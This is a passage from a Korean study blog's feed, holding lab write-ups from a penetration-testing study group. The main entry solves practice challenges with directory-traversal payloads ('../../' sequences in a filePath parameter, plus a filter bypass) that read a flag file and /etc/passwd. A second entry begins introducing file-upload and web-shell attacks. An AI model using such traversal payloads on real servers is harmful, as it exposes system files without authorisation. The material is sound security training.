&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;저는 ../../../../../../../../&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;flag_&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;txt &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;디렉토리 탐색을 이용하여 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;제가 원하는 파일을 열람을 할 수 있는지 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;테스트를 진행 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDgeZY/dJMcahDbJyu/NskBSSc2MlbdHZiK5Q6Unk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDgeZY/dJMcahDbJyu/NskBSSc2MlbdHZiK5Q6Unk/img.png&quot; data-origin-width=&quot;1734&quot; data-origin-height=&quot;367&quot; data-is-animation=&quot;false&quot; style=&quot;width: 52.7377%; margin-right: 10px;&quot; data-widthpercent=&quot;53.36&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDgeZY/dJMcahDbJyu/NskBSSc2MlbdHZiK5Q6Unk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDgeZY%2FdJMcahDbJyu%2FNskBSSc2MlbdHZiK5Q6Unk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1734&quot; height=&quot;367&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bGdj34/dJMcacWb2Ti/IPT3DAssgGH0E7xFKuNTk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGdj34/dJMcacWb2Ti/IPT3DAssgGH0E7xFKuNTk1/img.png&quot; data-origin-width=&quot;1524&quot; data-origin-height=&quot;369&quot; data-is-animation=&quot;false&quot; style=&quot;width: 46.0995%;&quot; data-widthpercent=&quot;46.64&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGdj34/dJMcacWb2Ti/IPT3DAssgGH0E7xFKuNTk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGdj34%2FdJMcacWb2Ti%2FIPT3DAssgGH0E7xFKuNTk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1524&quot; height=&quot;369&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;처음 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;filePath=uploads/../../../../../../../../&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;flag_&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;txt ? 경로를 작성하여&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;테스트를 진행해본 결과 파일이 존재하지 않거나 권한이 제한된다고 합니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;그러나 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;filePath=../../../../../../../../&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;flag_&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;txt ? flag가 보이는 모습입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;아마 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;uploads 디렉토리에 열람 할 수 있는 권한이 있지만&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;filePath=../../../../../../../../&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;flag_&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;txt 했을 때는 우회가 되는 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;모습 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&amp;lt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;실습문제 2&lt;/span&gt;&amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bq93YY/dJMcac2VX78/RmsrRk84gBigJkRPrgULm0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bq93YY/dJMcac2VX78/RmsrRk84gBigJkRPrgULm0/img.png&quot; data-origin-width=&quot;995&quot; data-origin-height=&quot;628&quot; data-is-animation=&quot;false&quot; style=&quot;width: 52.8582%; margin-right: 10px;&quot; data-widthpercent=&quot;53.48&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bq93YY/dJMcac2VX78/RmsrRk84gBigJkRPrgULm0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbq93YY%2FdJMcac2VX78%2FRmsrRk84gBigJkRPrgULm0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;995&quot; height=&quot;628&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b4tSvf/dJMcaivi72G/G6XGdOm0yfHcyuVIcEQ2q1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b4tSvf/dJMcaivi72G/G6XGdOm0yfHcyuVIcEQ2q1/img.png&quot; data-origin-width=&quot;1618&quot; data-origin-height=&quot;1174&quot; data-is-animation=&quot;false&quot; style=&quot;width: 45.979%;&quot; data-widthpercent=&quot;46.52&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b4tSvf/dJMcaivi72G/G6XGdOm0yfHcyuVIcEQ2q1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb4tSvf%2FdJMcaivi72G%2FG6XGdOm0yfHcyuVIcEQ2q1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1618&quot; height=&quot;1174&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;두 번 째 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Get Flag File 2 이라는 문제가 있으며&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;flag 파일을 얻어내면 되는 문제입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;test123 계정을 설정하여 접속해봤습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;게시판 부터 하나씩 점검을 해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cK049S/dJMcagqKNmK/cZnXdcviY7X7Jp7DNN54w1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cK049S/dJMcagqKNmK/cZnXdcviY7X7Jp7DNN54w1/img.png&quot; data-origin-width=&quot;1576&quot; data-origin-height=&quot;1337&quot; data-is-animation=&quot;false&quot; style=&quot;width: 44.4258%; margin-right: 10px;&quot; data-widthpercent=&quot;44.95&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cK049S/dJMcagqKNmK/cZnXdcviY7X7Jp7DNN54w1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcK049S%2FdJMcagqKNmK%2FcZnXdcviY7X7Jp7DNN54w1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1576&quot; height=&quot;1337&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cRBr0q/dJMcab33rhZ/yC4v0ZIczjXbkvkkaHOKq0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cRBr0q/dJMcab33rhZ/yC4v0ZIczjXbkvkkaHOKq0/img.png&quot; data-origin-width=&quot;1090&quot; data-origin-height=&quot;755&quot; data-is-animation=&quot;false&quot; style=&quot;width: 54.4114%;&quot; data-widthpercent=&quot;55.05&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cRBr0q/dJMcab33rhZ/yC4v0ZIczjXbkvkkaHOKq0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcRBr0q%2FdJMcab33rhZ%2FyC4v0ZIczjXbkvkkaHOKq0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1090&quot; height=&quot;755&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;정상 파일을 업로드하여 다운로드까지 테스트를 진행 해보았습니다。&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;pre id=&quot;code_1769174984203&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;실습 서버/index.php?page=download&amp;amp;filePath=uploads/1_test.txt&lt;/code&gt;&lt;/pre&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;파일경로는 다음과 같이 구성 되있는 모습입니다&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;다음은 파일 다운로드 기능을 이용하여 취약점이 존재하는지 &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;테스트를 해보겠습니다&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1508&quot; data-origin-height=&quot;326&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rvNhh/dJMcajucQZB/xw3yMKueoDdgPz2QxgCkq1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rvNhh/dJMcajucQZB/xw3yMKueoDdgPz2QxgCkq1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rvNhh/dJMcajucQZB/xw3yMKueoDdgPz2QxgCkq1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrvNhh%2FdJMcajucQZB%2Fxw3yMKueoDdgPz2QxgCkq1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1508&quot; height=&quot;326&quot; data-origin-width=&quot;1508&quot; data-origin-height=&quot;326&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;진행결과 파일이 존재하지 않거나 접근 권한이 없다고 합니다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;아마 ../ 가 필터링이 되어있는 것 같습니다.&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjr2kY/dJMcaaKQW4v/EZBgFCXWKCEc4UBy59ZSx0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjr2kY/dJMcaaKQW4v/EZBgFCXWKCEc4UBy59ZSx0/img.png&quot; data-origin-width=&quot;1654&quot; data-origin-height=&quot;660&quot; data-is-animation=&quot;false&quot; style=&quot;width: 36.1231%; margin-right: 10px;&quot; data-widthpercent=&quot;36.55&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjr2kY/dJMcaaKQW4v/EZBgFCXWKCEc4UBy59ZSx0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbjr2kY%2FdJMcaaKQW4v%2FEZBgFCXWKCEc4UBy59ZSx0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1654&quot; height=&quot;660&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Q5Klv/dJMcahXwRD5/4nEsfCKrJxxk0WFXUPKAWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Q5Klv/dJMcahXwRD5/4nEsfCKrJxxk0WFXUPKAWk/img.png&quot; data-origin-width=&quot;1575&quot; data-origin-height=&quot;362&quot; data-is-animation=&quot;false&quot; style=&quot;width: 62.7141%;&quot; data-widthpercent=&quot;63.45&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Q5Klv/dJMcahXwRD5/4nEsfCKrJxxk0WFXUPKAWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQ5Klv%2FdJMcahXwRD5%2F4nEsfCKrJxxk0WFXUPKAWk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1575&quot; height=&quot;362&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;그래서 ./ .../ 를 이용하여 우회를 하여 /etc/passwd를 가져오게 되었습니다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Get Flag File 2도 Falg를 획득 하였습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>정보보안 공부/모의해킹 스터디 9기</category>
      <author>mister jeon</author>
      <guid isPermaLink="true">https://thjkl2004.tistory.com/47</guid>
      <comments>https://thjkl2004.tistory.com/47#entry47comment</comments>
      <pubDate>Sat, 24 Jan 2026 00:17:00 +0900</pubDate>
    </item>
    <item>
      <title>모의해킹 취업반 스터디 9기 14주차  파일 업로드 취약점 (feat LFI)</title>
      <link>https://thjkl2004.tistory.com/46</link>
      <description>&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&amp;lt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;14주차&amp;nbsp; &amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;오늘은 파일 업로드 취약점에 대해 알아보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;파일업로드 취약점은 공격자(해커)가 원하는 파일을&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;서버에 업로드하는 공격이며 웹 서버가&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;가질 수 있는 가장 치명적인 취약점 입니다.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;즉 공격자가 웹 서버에 악의 적인 파일 (Web Shell)&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;을 전송하고, 원격지에서 해당 파일을 실행하여 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;웹 서버를 장악하여 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;내부 침투 공격을 수행할 수 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;있기 때문입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;web shell은 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;웹 서버에서 실행되는 웹 서버 측 스크립트이며&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;JSP, ASP, PHP 등 웹 서버에 실행하여 관리자 권한을&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;획득하는 공격 방법입니다. &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;지금부터 실습을 통해 좀 더 자세히 알아보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cOdHfX/dJMcai9Q8IL/kcn5kBYzaZIYaTlJO3PwFK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cOdHfX/dJMcai9Q8IL/kcn5kBYzaZIYaTlJO3PwFK/img.png&quot; data-origin-width=&quot;1599&quot; data-origin-height=&quot;1256&quot; data-is-animation=&quot;false&quot; style=&quot;width: 49.5357%; margin-right: 10px;&quot; data-widthpercent=&quot;50.12&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cOdHfX/dJMcai9Q8IL/kcn5kBYzaZIYaTlJO3PwFK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcOdHfX%2FdJMcai9Q8IL%2Fkcn5kBYzaZIYaTlJO3PwFK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1599&quot; height=&quot;1256&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brZdne/dJMb996cz9S/CccvB1jTlJ7JKFpA03YFrk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brZdne/dJMb996cz9S/CccvB1jTlJ7JKFpA03YFrk/img.png&quot; data-origin-width=&quot;1466&quot; data-origin-height=&quot;1157&quot; data-is-animation=&quot;false&quot; style=&quot;width: 49.3015%;&quot; data-widthpercent=&quot;49.88&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brZdne/dJMb996cz9S/CccvB1jTlJ7JKFpA03YFrk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrZdne%2FdJMb996cz9S%2FCccvB1jTlJ7JKFpA03YFrk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1466&quot; height=&quot;1157&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
